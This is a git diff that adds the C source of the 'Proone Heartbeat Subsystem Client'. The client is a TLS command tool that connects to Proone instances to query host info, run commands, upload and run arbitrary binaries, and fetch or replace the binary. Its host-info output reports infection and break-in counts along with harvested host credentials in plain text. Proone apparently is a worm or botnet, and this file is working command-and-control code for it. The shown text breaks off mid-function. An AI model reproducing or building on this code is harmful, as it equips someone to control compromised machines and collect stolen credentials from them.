aboutsummaryrefslogtreecommitdiff
path: root/src/proone-htbtclient.c
diff options
context:
space:
mode:
Diffstat (limited to 'src/proone-htbtclient.c')
-rw-r--r--src/proone-htbtclient.c1111
1 files changed, 1111 insertions, 0 deletions
diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c
index e69de29..149b62f 100644
--- a/src/proone-htbtclient.c
+++ b/src/proone-htbtclient.c
@@ -0,0 +1,1111 @@
+/*
+* No pipelining assumed.
+*/
+#include <stdint.h>
+#include <inttypes.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdarg.h>
+#include <assert.h>
+
+#include <getopt.h>
+#include <regex.h>
+#include <termios.h>
+#include <unistd.h>
+
+#include <mbedtls/ssl.h>
+#include <mbedtls/ctr_drbg.h>
+#include <mbedtls/entropy.h>
+#include <mbedtls/net.h>
+#include <yaml.h>
+
+#include "protocol.h"
+#include "util_rt.h"
+#include "mbedtls.h"
+#include "config.h"
+#include "iobuf.h"
+
+#define STRINGIFY(x) #x
+#define STRINGIFY_X(x) STRINGIFY(x)
+
+#define ROOT_TAG_NAME "htbtclient_run"
+#define PREEMBLE_TAG_NAME "preemble"
+#define BODY_TAG_NAME "body"
+
+#define MAIN_HELP_STR \
+"Proone Heartbeat Subsystem Client\n"\
+"Usage: %s [common options] <COMMAND> ...\n"\
+"\n"\
+"COMMAND:\n"\
+" hostinfo query host info\n"\
+" hover send handover request\n"\
+" runcmd run command on host\n"\
+" runbin upload and run arbitrary binary on host\n"\
+" nybin perform binary upgrade on host\n"\
+" getbin download binary from host\n"\
+"\n"\
+"Common options:\n"\
+" -h, --help print help for specified command and exit. Print this\n"\
+" help and exit if no command is specified\n"\
+" -V, --version print version and exit\n"\
+" -x do not use stdio for user interaction(\"script mode\")\n"\
+" -v, --verbose increase verbose level. Can be specified more than once\n"\
+" --tls-ca <FILE> path to tls CA certificate\n"\
+" --tls-cert <FILE> path to tls client certificate\n"\
+" --tls-key <FILE> path to tls private key\n"\
+" --tls-key-pw <PW> password for tls private key\n"\
+" -t, --host <REMOTE> remote host to connect to\n"\
+" -p, --port <PORT> specify port (default port: " STRINGIFY_X(PRNE_HTBT_PROTO_PORT) ")\n"\
+"\n"\
+"The server will not be verified if --tls-ca is not used. Rolled out htbt hosts \n"\
+"will verify clients by design/default so both --tls-cert and --tls-key should \n"\
+"be used.\n"\
+"\n"\
+"Use \"%s -h COMMAND\" to get help on each command.\n"\
+"\n"
+#define HOSTINFO_HELP_STR \
+"Get host info from a Proone instance and ouput in YAML format.\n"\
+"Usage: %s [common options] hostinfo\n"\
+"\n"
+
+enum sub_command {
+ SC_NONE,
+ SC_HOSTINFO,
+ SC_HOVER,
+ SC_RUNCMD,
+ SC_RUNBIN,
+ SC_NYBIN,
+ SC_GETBIN
+};
+typedef enum sub_command sub_command_t;
+
+struct {
+ char *tls_ca;
+ char *tls_cert;
+ char *tls_key;
+ char tls_key_pw[256]; // scrub after use
+ char *remote_host;
+ char *remote_port;
+ sub_command_t cmd;
+ int prne_vl;
+ bool help; // -h or --help used
+ bool version; // -V or --version used
+ bool tls_key_pw_arg; // true if tls_key_pw is passed via option
+ bool no_term; // true if terminal interaction is not permitted
+} prog_conf;
+
+struct {
+ struct {
+ mbedtls_ssl_config conf;
+ mbedtls_x509_crt ca;
+ mbedtls_x509_crt crt;
+ mbedtls_pk_context pk;
+ mbedtls_ctr_drbg_context rnd;
+ mbedtls_entropy_context ent;
+ mbedtls_ssl_context ctx;
+ } ssl;
+ struct {
+ mbedtls_net_context ctx;
+ prne_iobuf_t ib[2];
+ } net;
+ struct {
+ yaml_emitter_t *emitter;
+ } yaml;
+} prog_g;
+
+static void print_help (const char *prog, const sub_command_t sc, FILE *out_f) {
+ switch (sc) {
+ // TODO
+ case SC_HOSTINFO:
+ fprintf(out_f, HOSTINFO_HELP_STR, prog);
+ break;
+ default: fprintf(out_f, MAIN_HELP_STR, prog, prog);
+ }
+}
+
+static void init_prog_g (void) {
+ bool alloc_ret = true;
+ prne_memzero(&prog_g, sizeof(prog_g)); // so main() is recallable
+
+ mbedtls_ssl_config_init(&prog_g.ssl.conf);
+ mbedtls_x509_crt_init(&prog_g.ssl.ca);
+ mbedtls_x509_crt_init(&prog_g.ssl.crt);
+ mbedtls_pk_init(&prog_g.ssl.pk);
+ mbedtls_entropy_init(&prog_g.ssl.ent);
+ mbedtls_ctr_drbg_init(&prog_g.ssl.rnd);
+ mbedtls_ssl_init(&prog_g.ssl.ctx);
+
+ mbedtls_net_init(&prog_g.net.ctx);
+ prne_init_iobuf(prog_g.net.ib + 0);
+ prne_init_iobuf(prog_g.net.ib + 1);
+ alloc_ret &= prne_alloc_iobuf(
+ prog_g.net.ib + 0,
+ prne_op_max(PRNE_HTBT_PROTO_MIN_BUF, prne_getpagesize()));
+ alloc_ret &= prne_alloc_iobuf(
+ prog_g.net.ib + 1,
+ prne_op_max(PRNE_HTBT_PROTO_MIN_BUF, prne_getpagesize()));
+ if (!alloc_ret) {
+ perror("prne_alloc_iobuf()");
+ abort();
+ }
+}
+
+static void deinit_prog_g (void) {
+ // TODO
+}
+
+static void init_prog_conf (void) {
+ prne_memzero(&prog_conf, sizeof(prog_conf)); // so main() is recallable
+
+ prog_conf.remote_port = prne_dup_str(STRINGIFY_X(PRNE_HTBT_PROTO_PORT));
+}
+
+static void deinit_prog_conf (void) {
+ prne_free(prog_conf.tls_ca);
+ prne_free(prog_conf.tls_cert);
+ prne_free(prog_conf.tls_key);
+ // Security first!
+ prne_memzero(prog_conf.tls_key_pw, sizeof(prog_conf.tls_key_pw));
+ prne_free(prog_conf.remote_host);
+ prne_free(prog_conf.remote_port);
+}
+
+static bool is_info_run (void) {
+ return prog_conf.help || prog_conf.version;
+}
+
+static void print_version (FILE *f) {
+ static const uint8_t ver_uuid[] = PRNE_PROG_VER;
+ static char ver_str[37];
+
+ if (ver_str[0] == 0) {
+ prne_uuid_tostr(ver_uuid, ver_str);
+ }
+
+ fprintf(
+ f,
+ "PRNE_PROG_VER: %s\n"
+ "__DATE__: %s\n",
+ ver_str,
+ __DATE__);
+}
+
+static void load_optarg (char **out) {
+ const size_t l = strlen(optarg);
+
+ prne_free(*out);
+ *out = prne_alloc_str(l);
+ strncpy(*out, optarg, l);
+}
+
+static bool assert_host_arg (void) {
+ if (prog_conf.remote_host == NULL) {
+ fprintf(stderr, "Use -t or --host option to specify host.\n");
+ return false;
+ }
+ return true;
+}
+
+static int parse_args_hostinfo (const int argc, char *const *args) {
+ if (assert_host_arg()) {
+ return 0;
+ }
+ return 2;
+}
+
+static int parse_args_hover (const int argc, char *const *args) {
+ if (!assert_host_arg()) {
+ return 2;
+ }
+ // TODO
+ return 0;
+}
+
+static int parse_args_runcmd (const int argc, char *const *args) {
+ if (!assert_host_arg()) {
+ return 2;
+ }
+ // TODO
+ return 0;
+}
+
+static int parse_args_runbin (const int argc, char *const *args) {
+ if (!assert_host_arg()) {
+ return 2;
+ }
+ // TODO
+ return 0;
+}
+
+static int parse_args_nybin (const int argc, char *const *args) {
+ if (!assert_host_arg()) {
+ return 2;
+ }
+ // TODO
+ return 0;
+}
+
+static int parse_args_getbin (const int argc, char *const *args) {
+ if (!assert_host_arg()) {
+ return 2;
+ }
+ // TODO
+ return 0;
+}
+
+static int parse_args (const int argc, char *const *args) {
+ int fr, li, ret = 0;
+ struct option lopts[] = {
+ { "help", no_argument, 0, 0 },
+ { "version", no_argument, 0, 0 },
+ { "verbose", no_argument, 0, 0 },
+ { "tls-ca", required_argument, 0, 0 },
+ { "tls-cert", required_argument, 0, 0 },
+ { "tls-key", required_argument, 0, 0 },
+ { "tls-key-pw", required_argument, 0, 0 },
+ { "host", required_argument, 0, 0 },
+ { "port", required_argument, 0, 0 },
+ { 0, 0, 0, 0 }
+ };
+ const struct option *cur_lo;
+
+ while (true) {
+ fr = getopt_long(argc, args, "+hVvxt:p:", lopts, &li);
+
+ switch (fr) {
+ case 0:
+ cur_lo = lopts + li;
+
+ if (strcmp("help", cur_lo->name) == 0) {
+ prog_conf.help = true;
+ }
+ else if (strcmp("verbose", cur_lo->name) == 0) {
+ prog_conf.prne_vl += 1;
+ }
+ else if (strcmp("version", cur_lo->name) == 0) {
+ prog_conf.version = true;
+ }
+ else if (strcmp("tls-ca", cur_lo->name) == 0) {
+ load_optarg(&prog_conf.tls_ca);
+ }
+ else if (strcmp("tls-cert", cur_lo->name) == 0) {
+ load_optarg(&prog_conf.tls_cert);
+ }
+ else if (strcmp("tls-key", cur_lo->name) == 0) {
+ load_optarg(&prog_conf.tls_key);
+ }
+ else if (strcmp("tls-key-pw", cur_lo->name) == 0) {
+ strncpy(
+ prog_conf.tls_key_pw,
+ optarg,
+ sizeof(prog_conf.tls_key_pw) - 1);
+ prog_conf.tls_key_pw_arg = true;
+ }
+ else if (strcmp("host", cur_lo->name) == 0) {
+ load_optarg(&prog_conf.remote_host);
+ }
+ else if (strcmp("port", cur_lo->name) == 0) {
+ load_optarg(&prog_conf.remote_port);
+ }
+ else {
+ abort();
+ }
+ break;
+ case 'V':
+ prog_conf.version = true;
+ break;
+ case 'v':
+ prog_conf.prne_vl += 1;
+ break;
+ case 'h':
+ prog_conf.help = true;
+ break;
+ case 'x':
+ prog_conf.no_term = true;
+ break;
+ case 't':
+ load_optarg(&prog_conf.remote_host);
+ break;
+ case 'p':
+ load_optarg(&prog_conf.remote_port);
+ break;
+ default:
+ goto END_LOOP;
+ }
+ }
+END_LOOP:
+
+ if (!is_info_run()) {
+ if ((prog_conf.tls_cert == NULL) ^ (prog_conf.tls_key == NULL)) {
+ fprintf(stderr, "--tls-cert and --tls-key must be used in pair.\n");
+ return 2;
+ }
+ }
+
+ if (optind < argc) {
+ const char *cmd_str = args[optind];
+
+ optind += 1;
+ if (strcmp("hostinfo", cmd_str) == 0) {
+ prog_conf.cmd = SC_HOSTINFO;
+ }
+ else if (strcmp("hover", cmd_str) == 0) {
+ prog_conf.cmd = SC_HOVER;
+ }
+ else if (strcmp("runcmd", cmd_str) == 0) {
+ prog_conf.cmd = SC_RUNCMD;
+ }
+ else if (strcmp("runbin", cmd_str) == 0) {
+ prog_conf.cmd = SC_RUNBIN;
+ }
+ else if (strcmp("nybin", cmd_str) == 0) {
+ prog_conf.cmd = SC_NYBIN;
+ }
+ else if (strcmp("getbin", cmd_str) == 0) {
+ prog_conf.cmd = SC_GETBIN;
+ }
+ else {
+ fprintf(stderr, "Invalid COMMAND \"%s\".\n", cmd_str);
+ return 2;
+ }
+ }
+
+ if (is_info_run()) {
+ return 0;
+ }
+ switch (prog_conf.cmd) {
+ case SC_HOSTINFO: ret = parse_args_hostinfo(argc, args); break;
+ case SC_HOVER: ret = parse_args_hover(argc, args); break;
+ case SC_RUNCMD: ret = parse_args_runcmd(argc, args); break;
+ case SC_RUNBIN: ret = parse_args_runbin(argc, args); break;
+ case SC_NYBIN: ret = parse_args_nybin(argc, args); break;
+ case SC_GETBIN: ret = parse_args_getbin(argc, args); break;
+ default: fprintf(stderr, "COMMAND not specified.\n");
+ }
+
+ return ret;
+}
+
+static bool interact_tls_key_pw (void) {
+ int f_ret;
+ char *s_ret;
+ struct termios t;
+ tcflag_t saved_flags;
+ bool ret = true, flags_saved = false;
+ regex_t re_tnl;
+ regmatch_t rm[2];
+
+ f_ret = regcomp(&re_tnl, "([\\r\\n]+)$", REG_ICASE | REG_EXTENDED);
+ if (f_ret != 0) {
+ abort();
+ }
+
+// TRY
+ if (prog_conf.tls_key_pw_arg) {
+ ret = false;
+ goto END;
+ }
+ if (isatty(STDIN_FILENO) == 0 || prog_conf.no_term) {
+ fprintf(
+ stderr,
+ "TLS PK is encrypted but terminal interaction is not possible.\n");
+ ret = false;
+ goto END;
+ }
+
+ fprintf(stderr, "TLS PK password: ");
+ fflush(stderr);
+
+ // turn off echo
+ f_ret = tcgetattr(STDIN_FILENO, &t);
+ if (f_ret != 0) {
+ perror("tcgetattr()");
+ ret = false;
+ goto END;
+ }
+ saved_flags = t.c_lflag;
+ flags_saved = true;
+ t.c_lflag &= ~ECHO;
+ t.c_lflag |= ECHONL;
+ f_ret = tcsetattr(STDIN_FILENO, TCSAFLUSH, &t);
+ if (f_ret != 0) {
+ perror("tcsetattr()");
+ ret = false;
+ goto END;
+ }
+
+ s_ret = fgets(
+ prog_conf.tls_key_pw,
+ sizeof(prog_conf.tls_key_pw),
+ stdin);
+ if (s_ret == NULL) {
+ ret = false;
+ goto END;
+ }
+
+ f_ret = regexec(&re_tnl, prog_conf.tls_key_pw, 2, rm, 0);
+ if (f_ret == 0 && rm[1].rm_eo >= 0) {
+ // trailing newline character(\r or \n) found.
+ // no need to dock the string if the input string does not end with
+ // newline.
+ prog_conf.tls_key_pw[rm[1].rm_eo] = 0;
+ }
+
+END: // CATCH
+ if (flags_saved) {
+ t.c_lflag = saved_flags;
+ tcsetattr(STDIN_FILENO, TCSAFLUSH, &t);
+ }
+ return ret;
+}
+
+static int init_tls (void) {
+ int f_ret;
+ static const char *ALPN_ARR[] = {
+ PRNE_HTBT_TLS_ALP,
+ NULL
+ };
+
+ f_ret = mbedtls_ctr_drbg_seed(
+ &prog_g.ssl.rnd,
+ mbedtls_entropy_func,
+ &prog_g.ssl.ent,
+ NULL,
+ 0);
+ if (f_ret != 0) {
+ prne_mbedtls_perror(f_ret, "mbedtls_ctr_drbg_seed()");
+ abort();
+ }
+
+ f_ret = mbedtls_ssl_config_defaults(
+ &prog_g.ssl.conf,
+ MBEDTLS_SSL_IS_CLIENT,
+ MBEDTLS_SSL_TRANSPORT_STREAM,
+ MBEDTLS_SSL_PRESET_DEFAULT);
+ if (f_ret != 0) {
+ prne_mbedtls_perror(f_ret, "mbedtls_ssl_config_defaults()");
+ abort();
+ }
+
+ f_ret = mbedtls_ssl_conf_alpn_protocols(&prog_g.ssl.conf, ALPN_ARR);
+ if (f_ret != 0) {
+ prne_mbedtls_perror(f_ret, "mbedtls_ssl_conf_alpn_protocols()");
+ abort();
+ }
+
+ mbedtls_ssl_conf_rng(
+ &prog_g.ssl.conf,
+ mbedtls_ctr_drbg_random,
+ &prog_g.ssl.rnd);
+
+ if (prog_conf.tls_ca != NULL) {
+ f_ret = mbedtls_x509_crt_parse_file(&prog_g.ssl.ca, prog_conf.tls_ca);
+ if (f_ret != 0) {
+ prne_mbedtls_perror(f_ret, prog_conf.tls_ca);
+ return 1;
+ }
+ mbedtls_ssl_conf_ca_chain(&prog_g.ssl.conf, &prog_g.ssl.ca, NULL);
+ mbedtls_ssl_conf_authmode(
+ &prog_g.ssl.conf,
+ MBEDTLS_SSL_VERIFY_REQUIRED);
+ }
+ else {
+ mbedtls_ssl_conf_authmode(
+ &prog_g.ssl.conf,
+ MBEDTLS_SSL_VERIFY_OPTIONAL);
+ }
+ if (prog_conf.tls_cert != NULL) {
+ f_ret = mbedtls_x509_crt_parse_file(&prog_g.ssl.crt, prog_conf.tls_cert);
+ if (f_ret != 0) {
+ prne_mbedtls_perror(f_ret, prog_conf.tls_cert);
+ return 1;
+ }
+ }
+ if (prog_conf.tls_key != NULL) {
+ do {
+ f_ret = mbedtls_pk_parse_keyfile(
+ &prog_g.ssl.pk,
+ prog_conf.tls_key,
+ prog_conf.tls_key_pw);
+ switch (f_ret) {
+ case MBEDTLS_ERR_PK_PASSWORD_REQUIRED:
+ case MBEDTLS_ERR_PK_PASSWORD_MISMATCH:
+ prne_mbedtls_perror(f_ret, "mbedtls_pk_parse_keyfile()");
+ if (!interact_tls_key_pw()) {
+ return 1;
+ }
+ break;
+ case 0: break;
+ default:
+ prne_mbedtls_perror(f_ret, prog_conf.tls_key);
+ return 1;
+ }
+ } while (f_ret != 0);
+ }
+ prne_memzero(prog_conf.tls_key_pw, sizeof(prog_conf.tls_key_pw));
+
+ f_ret = mbedtls_ssl_conf_own_cert(
+ &prog_g.ssl.conf,
+ &prog_g.ssl.crt,
+ &prog_g.ssl.pk);
+ if (f_ret != 0) {
+ prne_mbedtls_perror(f_ret, "mbedtls_ssl_conf_own_cert()");
+ return 1;
+ }
+
+ return 0;
+}
+
+static int yaml_output_handler(void *data, unsigned char *buffer, size_t size) {
+ ssize_t io_ret;
+
+ while (size > 0) {
+ io_ret = write(STDOUT_FILENO, buffer, size);
+ if (io_ret <= 0) {
+ if (io_ret < 0) {
+ perror("write()");
+ }
+ return false;
+ }
+ size -= io_ret;
+ buffer += io_ret;
+ }
+ return true;
+}
+
+static void yaml_perror (const char *s) {
+ fprintf(stderr, "%s: %s\n", s, prog_g.yaml.emitter->problem);
+}
+
+static void emit_mapping_start (void) {
+ yaml_event_t e;
+
+ if (yaml_mapping_start_event_initialize(
+ &e,
+ NULL,
+ (yaml_char_t*)YAML_MAP_TAG,
+ true,
+ YAML_ANY_MAPPING_STYLE) == 0 ||
+ yaml_emitter_emit(prog_g.yaml.emitter, &e) == 0)
+ {
+ yaml_perror("yaml_mapping_start_event_initialize()");
+ abort();
+ }
+}
+
+static void emit_mapping_end (void) {
+ yaml_event_t e;
+
+ if (yaml_mapping_end_event_initialize(&e) == 0 ||
+ yaml_emitter_emit(prog_g.yaml.emitter, &e) == 0)
+ {
+ yaml_perror("yaml_mapping_end_event_initialize()");
+ abort();
+ }
+}
+
+static void emit_scalar (const char *type, const char *val) {
+ yaml_event_t e;
+
+ if (yaml_scalar_event_initialize(
+ &e,
+ NULL,
+ (yaml_char_t*)type,
+ (yaml_char_t*)val,
+ strlen(val),
+ true,
+ false,
+ YAML_ANY_SCALAR_STYLE) == 0 ||
+ yaml_emitter_emit(prog_g.yaml.emitter, &e) == 0)
+ {
+ yaml_perror("yaml_mapping_end_event_initialize()");
+ abort();
+ }
+}
+
+static void emit_scalar_fmt (const char *type, const char *fmt, ...) {
+ char *str;
+ int f_ret;
+ va_list va;
+
+ va_start(va, fmt);
+ f_ret = vsnprintf(NULL, 0, fmt, va);
+ va_end(va);
+ if (f_ret < 0) {
+ perror("vsnprintf()");
+ abort();
+ }
+
+ str = prne_alloc_str(f_ret);
+ va_start(va, fmt);
+ f_ret = vsnprintf(str, (size_t)f_ret + 1, fmt, va);
+ va_end(va);
+
+ emit_scalar(type, str);
+ prne_free(str);
+}
+
+static void start_yaml (void) {
+ yaml_event_t e;
+
+ if (prog_g.yaml.emitter != NULL) {
+ fprintf(stderr, "start_yaml() called twice!\n");
+ abort();
+ }
+
+ prog_g.yaml.emitter = prne_malloc(sizeof(yaml_emitter_t), 1);
+ if (yaml_emitter_initialize(prog_g.yaml.emitter) == 0) {
+ yaml_perror("yaml_emitter_initialize()");
+ abort();
+ }
+ yaml_emitter_set_output(prog_g.yaml.emitter, yaml_output_handler, NULL);
+
+ if (yaml_stream_start_event_initialize(&e, YAML_UTF8_ENCODING) == 0 ||
+ yaml_emitter_emit(prog_g.yaml.emitter, &e) == 0)
+ {
+ yaml_perror("yaml_stream_start_event_initialize()");
+ abort();
+ }
+ if (yaml_document_start_event_initialize(&e, NULL, NULL, NULL, true) == 0 ||
+ yaml_emitter_emit(prog_g.yaml.emitter, &e) == 0)
+ {
+ yaml_perror("yaml_document_start_event_initialize()");
+ abort();
+ }
+ emit_mapping_start();
+ emit_scalar(YAML_STR_TAG, ROOT_TAG_NAME);
+ emit_mapping_start();
+}
+
+static void end_yaml (void) {
+ yaml_event_t e;
+
+ if (prog_g.yaml.emitter == NULL) {
+ return;
+ }
+
+ emit_mapping_end();
+ emit_mapping_end();
+ if (yaml_document_end_event_initialize(&e, true) == 0 ||
+ yaml_emitter_emit(prog_g.yaml.emitter, &e) == 0)
+ {
+ yaml_perror("yaml_document_end_event_initialize()");
+ abort();
+ }
+ if (yaml_stream_end_event_initialize(&e) == 0 ||
+ yaml_emitter_emit(prog_g.yaml.emitter, &e) == 0)
+ {
+ yaml_perror("yaml_stream_end_event_initialize()");
+ abort();
+ }
+}
+
+static bool do_connect (void) {
+ int f_ret;
+
+ f_ret = mbedtls_net_connect(
+ &prog_g.net.ctx,
+ prog_conf.remote_host,
+ prog_conf.remote_port,
+ MBEDTLS_NET_PROTO_TCP);
+ if (f_ret != 0) {
+ prne_mbedtls_perror(f_ret, "mbedtls_net_connect()");
+ return false;
+ }
+
+ f_ret = mbedtls_ssl_setup(&prog_g.ssl.ctx, &prog_g.ssl.conf);
+ if (f_ret != 0) {
+ prne_mbedtls_perror(f_ret, "mbedtls_ssl_setup()");
+ return false;
+ }
+ mbedtls_ssl_set_bio(
+ &prog_g.ssl.ctx,
+ &prog_g.net.ctx,
+ mbedtls_net_send,
+ mbedtls_net_recv,
+ mbedtls_net_recv_timeout);
+
+ return true;
+}
+
+static uint16_t htbt_msgid_rnd_f (void *ctx) {
+ int f_ret;
+ uint16_t ret;
+
+ f_ret = mbedtls_ctr_drbg_random(
+ &prog_g.ssl.rnd,
+ (unsigned char*)&ret,
+ sizeof(ret));
+ if (f_ret != 0) {
+ prne_mbedtls_perror(f_ret, "mbedtls_ctr_drbg_random()");
+ abort();
+ }
+ return ret;
+}
+
+static void raise_proto_err (void) {
+ // TODO
+}
+
+static bool send_frame (const void *frame, prne_htbt_ser_ft ser_f) {
+ int f_ret;
+ size_t actual;
+ prne_htbt_ser_rc_t rc;
+
+ prne_iobuf_reset(prog_g.net.ib + 1);
+ rc = ser_f(
+ prog_g.net.ib[1].m,
+ prog_g.net.ib[1].avail,
+ &actual,
+ frame);
+ switch (rc) {
+ case PRNE_HTBT_SER_RC_OK: break;
+ case PRNE_HTBT_SER_RC_ERRNO:
+ perror("prne_htbt_ser_ft()");
+ return false;
+ default:
+ fprintf(stderr, "prne_htbt_ser_ft(): %s\n", prne_htbt_serrc_tostr(rc));
+ return false;
+ }
+ prne_iobuf_shift(prog_g.net.ib + 1, actual);
+
+ while (prog_g.net.ib[1].len > 0) {
+ f_ret = mbedtls_ssl_write(
+ &prog_g.ssl.ctx,
+ prog_g.net.ib[1].m,
+ prog_g.net.ib[1].len);
+ if (f_ret == 0) {
+ fprintf(stderr, "mbedtls_ssl_write(): EOF\n");
+ raise_proto_err();
+ return false;
+ }
+ if (f_ret < 0) {
+ prne_mbedtls_perror(f_ret, "mbedtls_ssl_write()");
+ return false;
+ }
+ prne_iobuf_shift(prog_g.net.ib + 1, -f_ret);
+ }
+
+ return true;
+}
+
+static bool recv_frame (void *frame, prne_htbt_dser_ft dser_f) {
+ size_t actual;
+ prne_htbt_ser_rc_t rc;
+ int f_ret;
+
+ while (true) {
+ rc = dser_f(prog_g.net.ib[0].m, prog_g.net.ib[0].len, &actual, frame);
+
+ switch (rc) {
+ case PRNE_HTBT_SER_RC_OK:
+ prne_iobuf_shift(prog_g.net.ib + 0, -actual);
+ return true;
+ case PRNE_HTBT_SER_RC_MORE_BUF:
+ assert(actual <= prog_g.net.ib[0].size);
+ break;
+ case PRNE_HTBT_SER_RC_ERRNO:
+ perror("dser_f()");
+ abort();
+ default:
+ raise_proto_err();
+ return false;
+ }
+
+ f_ret = mbedtls_ssl_read(
+ &prog_g.ssl.ctx,
+ prog_g.net.ib[0].m + prog_g.net.ib[0].len,
+ prog_g.net.ib[0].avail);
+ if (f_ret == 0) {
+ fprintf(stderr, "mbedtls_ssl_read(): EOF\n");
+ raise_proto_err();
+ return false;
+ }
+ if (f_ret < 0) {
+ prne_mbedtls_perror(f_ret, "mbedtls_ssl_read()");
+ return false;
+ }
+ prne_iobuf_shift(prog_g.net.ib + 0, f_ret);
+ }
+}
+
+static bool recv_mh (prne_htbt_msg_head_t *mh, const uint16_t *cor_id) {
+ if (!recv_frame(mh, (prne_htbt_dser_ft)prne_htbt_dser_msg_head)) {
+ return false;
+ }
+
+ if (!mh->is_rsp) {
+ raise_proto_err();
+ fprintf(stderr, "recv_mh(): received request frame\n");
+ return false;
+ }
+ if (cor_id != NULL && *cor_id != mh->id) {
+ raise_proto_err();
+ fprintf(stderr, "recv_mh(): received request frame\n");
+ return false;
+ }
+
+ return true;
+}
+
+static void emit_status_frame (const prne_htbt_status_t *st) {
+ emit_scalar(YAML_STR_TAG, BODY_TAG_NAME);
+
+ emit_mapping_start();
+ emit_scalar(YAML_INT_TAG,"code");
+ emit_scalar_fmt(YAML_INT_TAG, "%d", st->code);
+ emit_scalar(YAML_STR_TAG, "err");
+ emit_scalar_fmt(YAML_INT_TAG, "%"PRId32, st->err);
+ emit_mapping_end();
+}
+
+static void emit_preemble (const char *cmd, const char *result) {
+ // TODO: include -t -p and resolved hostname as well
+ emit_scalar(YAML_STR_TAG, PREEMBLE_TAG_NAME);
+
+ emit_mapping_start();
+ emit_scalar(YAML_STR_TAG, "command");
+ emit_scalar(YAML_STR_TAG, cmd);
+ emit_scalar(YAML_STR_TAG, "result");
+ emit_scalar(YAML_STR_TAG, result);
+ emit_mapping_end();
+}
+
+static void emit_hostinfo_frame (const prne_htbt_host_info_t *hi) {
+ prne_host_cred_t hc;
+ prne_htbt_ser_rc_t rc;
+ const char *archstr;
+
+ prne_init_host_cred(&hc);
+ emit_scalar(YAML_STR_TAG, BODY_TAG_NAME);
+
+ emit_mapping_start();
+ emit_scalar(YAML_STR_TAG, "parent_uptime");
+ emit_scalar_fmt(YAML_INT_TAG, "%"PRIu64, hi->parent_uptime);
+ emit_scalar(YAML_STR_TAG, "child_uptime");
+ emit_scalar_fmt(YAML_INT_TAG, "%"PRIu64, hi->child_uptime);
+ emit_scalar(YAML_STR_TAG, "bne_cnt");
+ emit_scalar_fmt(YAML_INT_TAG, "%"PRIu64, hi->bne_cnt);
+ emit_scalar(YAML_STR_TAG, "infect_cnt");
+ emit_scalar_fmt(YAML_INT_TAG, "%"PRIu64, hi->infect_cnt);
+ emit_scalar(YAML_STR_TAG, "parent_pid");
+ emit_scalar_fmt(YAML_INT_TAG, "%"PRIu32, hi->parent_pid);
+ emit_scalar(YAML_STR_TAG, "child_pid");
+ emit_scalar_fmt(YAML_INT_TAG, "%"PRIu32, hi->child_pid);
+ emit_scalar(YAML_STR_TAG, "prog_ver");
+ emit_scalar_fmt(
+ YAML_STR_TAG,
+ "%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X",
+ hi->prog_ver[0],
+ hi->prog_ver[1],
+ hi->prog_ver[2],
+ hi->prog_ver[3],
+ hi->prog_ver[4],
+ hi->prog_ver[5],
+ hi->prog_ver[6],
+ hi->prog_ver[7],
+ hi->prog_ver[8],
+ hi->prog_ver[9],
+ hi->prog_ver[10],
+ hi->prog_ver[11],
+ hi->prog_ver[12],
+ hi->prog_ver[13],
+ hi->prog_ver[14],
+ hi->prog_ver[15]);
+ emit_scalar(YAML_STR_TAG, "boot_id");
+ emit_scalar_fmt(
+ YAML_STR_TAG,
+ "%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X",
+ hi->boot_id[0],
+ hi->boot_id[1],
+ hi->boot_id[2],
+ hi->boot_id[3],
+ hi->boot_id[4],
+ hi->boot_id[5],
+ hi->boot_id[6],
+ hi->boot_id[7],
+ hi->boot_id[8],
+ hi->boot_id[9],
+ hi->boot_id[10],
+ hi->boot_id[11],
+ hi->boot_id[12],
+ hi->boot_id[13],
+ hi->boot_id[14],
+ hi->boot_id[15]);
+ emit_scalar(YAML_STR_TAG, "instance_id");
+ emit_scalar_fmt(
+ YAML_STR_TAG,
+ "%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X",
+ hi->instance_id[0],
+ hi->instance_id[1],
+ hi->instance_id[2],
+ hi->instance_id[3],
+ hi->instance_id[4],
+ hi->instance_id[5],
+ hi->instance_id[6],
+ hi->instance_id[7],
+ hi->instance_id[8],
+ hi->instance_id[9],
+ hi->instance_id[10],
+ hi->instance_id[11],
+ hi->instance_id[12],
+ hi->instance_id[13],
+ hi->instance_id[14],
+ hi->instance_id[15]);
+
+ if (hi->host_cred_len > 0) {
+ rc = prne_dec_host_cred(hi->host_cred, hi->host_cred_len, &hc);
+ emit_scalar(YAML_STR_TAG, "host_cred");
+
+ emit_mapping_start();
+ if (rc == PRNE_HTBT_SER_RC_ERRNO) {
+ perror("prne_dec_host_cred()");
+ abort();
+ }
+ else if (rc == PRNE_HTBT_SER_RC_OK &&
+ prne_chkcstr(hc.id, prne_cisprint) &&
+ prne_chkcstr(hc.pw, prne_cisprint))
+ {
+ emit_scalar(YAML_STR_TAG, "fmt");
+ emit_scalar(YAML_STR_TAG, "plain");
+ emit_scalar(YAML_STR_TAG, "id");
+ emit_scalar(YAML_STR_TAG, hc.id);
+ emit_scalar(YAML_STR_TAG, "pw");
+ emit_scalar(YAML_STR_TAG, hc.pw);
+ }
+ else {
+ char *b64str;
+
+ b64str = prne_enc_base64_mem(hi->host_cred, hi->host_cred_len);
+ if (b64str == NULL) {
+ perror("prne_enc_base64_mem()");
+ abort();
+ }
+
+ emit_scalar(YAML_STR_TAG, "fmt");
+ emit_scalar(YAML_STR_TAG, "raw");
+ emit_scalar(YAML_STR_TAG, "raw");
+ emit_scalar(YAML_STR_TAG, b64str);
+
+ prne_free(b64str);
+ }
+ emit_mapping_end();
+ }
+
+ emit_scalar(YAML_STR_TAG, "crash_cnt");
+ emit_scalar_fmt(YAML_INT_TAG, "%"PRIu32, hi->crash_cnt);
+ emit_scalar(YAML_STR_TAG, "arch");
+ emit_scalar_fmt(YAML_INT_TAG, "%"PRIu32, hi->arch);
+ archstr = prne_arch_tostr(hi->arch);
+ if (archstr != NULL) {
+ emit_scalar(YAML_STR_TAG, "archstr");
+ emit_scalar(YAML_STR_TAG, archstr);
+ }
+ emit_mapping_end();
+
+ prne_free_host_cred(&hc);
+}
+
+static int cmdmain_hostinfo (void) {
+ int ret = 0;
+ uint16_t msgid;
